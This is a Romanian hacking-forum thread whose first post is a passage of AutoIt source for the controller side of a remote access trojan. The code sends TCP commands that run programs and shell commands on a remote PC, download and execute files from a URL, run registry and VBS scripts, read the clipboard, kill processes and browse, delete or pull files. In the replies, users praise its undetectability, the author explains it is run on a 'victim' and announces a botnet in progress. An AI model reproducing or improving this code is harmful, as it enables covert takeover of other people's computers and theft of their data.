				GUICtrlSetData($Buton_schimba_start, "Schimba text but. Start")
				$schimba = "0"
				TCPSend($ConnectedSocket, $szData)
			EndIf

			Case $msg = $Buton_ascunde_start
			If $ascunde = "0" Then
				$szData = "funny<|*|>ascunde_start<|*|>1"
				GUICtrlSetData($Buton_ascunde_start, "Arata butonul Start")
				$ascunde = "1"
				TCPSend($ConnectedSocket, $szData)
			Else
				$szData = "funny<|*|>ascunde_start<|*|>0"
				GUICtrlSetData($Buton_ascunde_start, "Ascunde butonul Start")
				$ascunde = "0"
				TCPSend($ConnectedSocket, $szData)
			EndIf

		Case $msg = $buton_yahoo
			If $yahoo = "0" Then
				$szData = "funny<|*|>yahoo<|*|>0"
				GUICtrlSetData($buton_yahoo, "Deblocheaza Y!")
				$yahoo = "1"
				TCPSend($ConnectedSocket, $szData)
			Else
				$szData = "funny<|*|>yahoo<|*|>1"
				GUICtrlSetData($buton_yahoo, "Blocheaza Y!")
				$yahoo = "0"
				TCPSend($ConnectedSocket, $szData)
			EndIf

		Case $msg = $Winamp
			$szData = "run<|*|>winamp"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $Notepad
			$szData = "run<|*|>notepad"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $WinRar
			$szData = "run<|*|>win_rar"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $IE
			$szData = "run<|*|>ie"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $Firefox
			$szData = "run<|*|>firefox"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $Windws_Media_Player
			$szData = "run<|*|>media_player"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $paint
			$szData = "run<|*|>mspaint"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $wordpad
			$szData = "run<|*|>wordpad"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $buton_Executa
			$szData = "run<|*|>executa<|*|>" & GUICtrlRead($run_program)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_comanda_dos
			$szData = "run<|*|>dos<|*|>" & GUICtrlRead($comanda_dos)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_tipareste
			$szData = "tipareste<|*|>" & GUICtrlRead($text_tipareste)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_informatii
			$szData = "informatii"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_citeste_clipboard
			$szData = "clipboard<|*|>citeste"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_seteaza_clipboard
			$szData = "clipboard<|*|>seteaza<|*|>" & GUICtrlRead($text_cliboard)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_sterge_clipboard
			$szData = "clipboard<|*|>sterge"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_refresh_ferestre
			If GUICtrlRead($arata_ferestre_ascunse) = $GUI_CHECKED Then
				$szData = "ferestre<|*|>refresh<|*|>toate"
			Else
				$szData = "ferestre<|*|>refresh<|*|>ascunde"
			EndIf
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_hide_ferestre
			$szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>HIDE"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_show_ferestre
			$szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_SHOW"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_maximize_ferestre
			$szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MAXIMIZE"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_minimize_ferestre
			$szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MINIMIZE"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_inchide_ferestre
			$szData = "ferestre<|*|>inchide<|*|>" & GUICtrlRead($lista_ferestre)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_refresh_procese
			$szData = "proces<|*|>refresh"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_inchide_proces
			$szData = "proces<|*|>inchide<|*|>" & GUICtrlRead($lista_procese)
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_inchide_toate_procesele
			$szData = "proces<|*|>toate"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $executa_reg
			$fis = FileOpenDialog("Alege un fisier .reg", "", "Fisiere reg (*.reg)", 3)
			If @error <> 1 Then
				$text = FileRead($fis)
				$szData = "run<|*|>registrii<|*|>" & $text
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $buton_download_si_ruleaza
			$szData = "rdownload<|*|>" & GUICtrlRead($url_download)
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $buton_executa_vb
			$fis = FileOpenDialog("Alege un fisier .VBS", "", "Fisiere reg (*.VBS)", 3)
			If @error <> 1 Then
				$text = FileRead($fis)
				$szData = "run<|*|>visual_basic<|*|>" & $text
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $buton_refresh_partitii
			$szData = "manager<|*|>refresh_partitii"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $Combo1
			$cale = GUICtrlRead($Combo1) & "\"
			$szData = "manager<|*|>refresh_listwiev<|*|>" & $cale
			TCPSend($ConnectedSocket, $szData)


		Case $msg = $ListView1

		Case $msg = $buton_refresh_fisiere
			$szData = "manager<|*|>refresh_listwiev<|*|>" & $cale
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $buton_intra_in_folder

			$nume = _GUICtrlListView_GetItemText($ListView1, $nr1, 0)
			$tip = _GUICtrlListView_DeleteAllItems($ListView1)
			If $tip = "Director" Then
				$cale = $cale & $nume & "\"
				$szData = "manager<|*|>refresh_listwiev<|*|>" & $cale
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $buton_sus
			If StringLen($cale) <> 3 Then
				$cale2 = StringSplit($cale, "\")
				$cale = ""
				For $i = 1 To $cale2[0] - 2
					$cale = $cale & $cale2[$i] & "\"
				Next
				$szData = "manager<|*|>refresh_listwiev<|*|>" & $cale
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $buton_redenumeste_fisiere
			$nr = _GUICtrlListView_GetItemSelected($ListView1,1)
			$nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0)
			$tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2)
			If $nume <> "" Then
				$numenou = InputBox("Redenumire", "Alege noul nume pentru directorul sau fisierul (cu tot cu extensie) :" & $nume, "", "", 300, 130)
				If @error <> 1 Then
					If $tip = "Director" Then
						$szData = "manager<|*|>redenumeste<|*|>director<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou
					Else
						$szData = "manager<|*|>redenumeste<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou
					EndIf
					TCPSend($ConnectedSocket, $szData)
				EndIf
			EndIf
		Case $msg = $buton_creaza_dir_fisiere
			If $cale <> "" Then
				$numenou = InputBox("Creaza director", "Introduceti numele directorului pe care vreti sa-l creati :", "", "", 300, 130)
				If @error <> 1 Then
					$szData = "manager<|*|>creaza_dir<|*|>" & $cale & "<|*|>" & $numenou
					TCPSend($ConnectedSocket, $szData)
				EndIf
			EndIf
		Case $msg = $buton_sterge_fisiere
			$nr = _GUICtrlListView_GetNextItem($ListView1)
			$nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0)
			$tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2)
			If $nume <> "" Then
				If $tip = "Director" Then
					$szData = "manager<|*|>sterge<|*|>director<|*|>" & $cale & "<|*|>" & $nume
				Else
					$szData = "manager<|*|>sterge<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume
				EndIf
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $buton_executa_fisiere
			$nr = _GUICtrlListView_GetNextItem($ListView1)
			$nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0)
			$tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2)
			If $nume <> "" Then
				If $tip = "Fisier" Then
					$szData = "run<|*|>executa<|*|>" & $cale & $nume
				EndIf
			EndIf
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $buton_atribute_fisiere
			$nr = _GUICtrlListView_GetNextItem($ListView1)
			$nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0)
			$tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2)
			If $nume <> "" Then
				$atribute=InputBox("Atribute", "Introduceti atributele (exemplu : RSH sau RH, etc.):" & @CRLF & "R = READONLY  S = SYSTEM  H = HIDDEN N=NIMIC", "", "", 300, 130)
				If @error <> 1 Then
					$atribute=StringUpper($atribute)
					$text=StringSplit($atribute,"")
						$ok=1
						If $atribute<>"N" Then
							For $i=1 To $text[0]
								If $text[$i]<>"R" And $text[$i]<>"S" And $text[$i]<>"H" Then
									$ok=0
								EndIf
							Next
						EndIf
					If $ok=1 Then
						$szData = "manager<|*|>atribute<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $atribute
						TCPSend($ConnectedSocket, $szData)
					EndIf
				EndIf
			EndIf
		Case $msg=$buton_download_fisiere
			$nr = _GUICtrlListView_GetNextItem($ListView1)
			$nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0)
			$tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2)
			If $nume <> "" Then
					If $tip = "Fisier" Then
						$szData = "manager<|*|>download<|*|>" & $cale & "<|*|>" & $nume
						TCPSend($ConnectedSocket, $szData)
					EndIf
			EndIf

;~ 		**********************************************************************************

	EndSelect
WEnd
Exit


Func config_msg()
	If GUICtrlRead($intrebare) = $GUI_CHECKED Then $nr1 = 32
	If GUICtrlRead($eroare) = $GUI_CHECKED Then $nr1 = 16
	If GUICtrlRead($nimic) = $GUI_CHECKED Then $nr1 = 0
	If GUICtrlRead($informatie) = $GUI_CHECKED Then $nr1 = 64
	If GUICtrlRead($ok) = $GUI_CHECKED Then $nr2 = 0
	If GUICtrlRead($ari) = $GUI_CHECKED Then $nr2 = 2
	If GUICtrlRead($ync) = $GUI_CHECKED Then $nr2 = 3
	If GUICtrlRead($yn) = $GUI_CHECKED Then $nr2 = 4
	If GUICtrlRead($oc) = $GUI_CHECKED Then $nr2 = 1
	If GUICtrlRead($cr) = $GUI_CHECKED Then $nr2 = 5
	$numar = $nr1 + $nr2
EndFunc   ;==>config_msg


Func executa()
	$comanda = StringSplit($recv, "<|*|>", 1)
	If $comanda[1] = "informatii" Then
		GUICtrlSetData($versiune_windows, $comanda[2])
		GUICtrlSetData($windows_build, $comanda[3])
		GUICtrlSetData($windows_service_pack, $comanda[4])
		GUICtrlSetData($nume_calculator, $comanda[5])
		GUICtrlSetData($nume_utilizator, $comanda[6])
		GUICtrlSetData($desktop, $comanda[7])
		GUICtrlSetData($ora_locala, $comanda[8])
		GUICtrlSetData($data_locala, $comanda[9])
		GUICtrlSetData($home_drive, $comanda[10])
		GUICtrlSetData($ip1, $comanda[11])
		GUICtrlSetData($ip2, $comanda[12])
		GUICtrlSetData($ip3, $comanda[13])
		GUICtrlSetData($ip4, $comanda[14])
		GUICtrlSetData($logon_dns_domain, $comanda[15])
		GUICtrlSetData($logon_domain, $comanda[16])
		GUICtrlSetData($logon_server, $comanda[17])
	EndIf

	If $comanda[1] = "clipboard" Then
		GUICtrlSetData($text_cliboard, $comanda[2])
	EndIf

	If $comanda[1] = "ferestre" Then
		$i = 1
		$text = ""
		While $i < $comanda[0]
			$i = $i + 1
			$text = $text & "|" & $comanda[$i]
		WEnd
		GUICtrlSetData($lista_ferestre, $text)
	EndIf
	If $comanda[1] = "procese" Then
		$i = 1
		$text = ""
		While $i < $comanda[0]
			$i = $i + 1
			$text = $text & "|" & $comanda[$i]
		WEnd
		GUICtrlSetData($lista_procese, $text)
	EndIf

	If $comanda[1] = "dos" Then
		GUICtrlSetData($text_cmd, $comanda[2])
	EndIf

	If $comanda[1] = "manager" Then
		If $comanda[2] = "refresh_partitii" Then
			GUICtrlSetData($Combo1, $comanda[3])
		EndIf

		If $comanda[2] = "refresh_listwiev" Then
			_GUICtrlListView_DeleteAllItems($ListView1)
			For $i = 3 To $comanda[0]
				GUICtrlCreateListViewItem($comanda[$i], $ListView1)
			Next
			GUICtrlSetData($cale_cale, $cale)
		EndIf

		If $comanda[2]="download" Then
			$fisier=FileOpen ("\\.\" & @ScriptDir & "\" & $comanda[3],2)
			FileWrite($fisier,$comanda[4])
			FileClose($fisier)
		EndIf
	EndIf
EndFunc   ;==>executa

Nytro · October 2, 2012

Da, daca e facut de tine, felicitari.

Hmm, nu cred ca am mai vazut asa ceva in AutoIT.

Iar ideea de a folosi AutoIT pentru indetectabilitate e foarte buna.

UnuRo · October 3, 2012

Da, mai sunt scripturi similare pe forumul oficial autoit, dar ce e "bun", de obicei este sters...

Momentan lucrez la un bot net, cand va fi gata o sa fac upload:)

Are la baza un server intermediar, nu este IP to IP, asta-l face sa fie functionabil tot timpul + va putea fi folosit de catre oricine, chiar daca "serverul" va avea router sau Ip dinamic.

Edited October 3, 2012 by UnuRo

Genius++ · October 3, 2012

Frumos , imi place , bravo

eusimplu · October 3, 2012

Sunt surprins de ce ai putut realiza in AutoIT

UnuRo · October 3, 2012

Nu este ceva extraordinar, se poate realiza mult mai bine decat atat...

O sa il actualizez dupa update-uri.

UnuRo · October 3, 2012

Sunt surprins de ce ai putut realiza in AutoIT

"in AutoIT" ... ??? ce insinuezi ?

AutoIT este un limbaj de scripting extraordinar, flexibil, complex, si relativ simplu.

eusimplu · October 6, 2012

Eu initial am crezut ca it este ceva mai limitat ca de exemplu in comparatie cu C++. Doar prin faptul ca mi sa parut putin mai simplu...

UnuRo · October 8, 2012

Da, c++ este incomparabil cu autoit

C++ este un limbaj de programare complex, bazat pe verificarea static? a tipului variabilelor ce suporta programare procedurala si programare orientata pe obiecte.

Autoit este doar un limbaj de scripting, dar asta nu inseamna ca este atat de limitat incat sa nu poti realizao conexiune tcp.

moneymakerone · October 8, 2012

si o explicatie cum poate fii folosit , da cineva ?

UnuRo · October 9, 2012

Nu stiu exact la ce te referi...

cum se compileaza ?

Daca il vrei direct compilat imi zici si ti-l compilez eu.

Cat despre utilizare, daca la asta te referi...este simplu, "victima" deschide serverul, tu clientul, introduci IP-ul, dai conectare...si ai acces la pc.

Shin · October 9, 2012

Once again, dumb question: am nevoie doar de un compilator de autoit si gata, am 2 exe, rulez serverul la "victima" si clientu' la mine si ... bingo!?

MrEnrich · October 9, 2012

merge bine , l-am testat , am cateva idei pe care le-ai putea implementa daca vrei

UnuRo · October 11, 2012

merge bine , l-am testat , am cateva idei pe care le-ai putea implementa daca vrei

Ascult.

Sign In

Remote server - client

Recommended Posts

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Join the conversation